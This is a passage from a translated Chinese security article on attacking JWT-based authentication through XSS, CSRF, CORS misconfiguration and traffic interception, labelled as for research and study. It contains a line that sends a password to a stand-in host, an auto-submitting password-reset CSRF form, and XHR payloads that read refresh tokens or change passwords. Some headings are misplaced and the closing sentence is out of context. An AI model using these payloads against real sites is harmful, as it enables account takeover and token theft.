document.location='http://example.com/?password='+secretPasswordVariable;
CSRF
當通過身份驗證的用戶與目標站點進行交互時,存儲在cookie中的JWT令牌(無論是否為HTTPOnly)將由瀏覽器自動發送。當受害者觸發CSRF有效負載時,瀏覽器將發送包括令牌的關聯cookie。攻擊者將看不到這些內容,但是由於它們被用來進行攻擊者的出價,因此這實際上並不重要。
例子:
<form id="autosubmit" action="http://www.example.com/account/passwordreset" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="victim1" />
<input name="password" type="hidden" value="BadGuyKnowsThis!" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
CORS配置錯誤
當站點的CORS策略允許任意來源以及發送憑據時,可以在向Web服務器制作包含XHR請求的攻擊頁面的同時捕獲響應。
這導致兩種可能的攻擊路徑:
- 如果在應用程序的任何HTTP響應中返回了JWT,則攻擊者可以在發送“觸發”請求時讀取令牌。一個很好的例子就是JWT的“刷新令牌”或查詢帳戶頁面或登錄頁面。
- 如果JWT是通過Cookie發送的,則CORS可以用作CSRF的一種類型,以發送令牌,而攻擊者無需查看令牌
示例-XHR CORS:
示例-XHR CSRF:<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://www.avictimwebsitewithJWTcookieauth.com/api/refreshtoken"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send(); </script>
中間人攻擊<script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.avictimwebsitewithJWTcookieauth.com/api/passwordreset"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send('{"newpass":"BadGuyKnowsThis!"}'); </script>
在捕獲的HTTP流量中,在未加密流量的標頭/正文中,在防火牆/網關/其他服務器的日志文件中,在引薦來源鏈接(如果作為URL參數公開)或其他地方,也可能會看到JWT。
它已對先前的標頭和有效負載進行了編碼,並用一個秘密進行了簽名。
譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。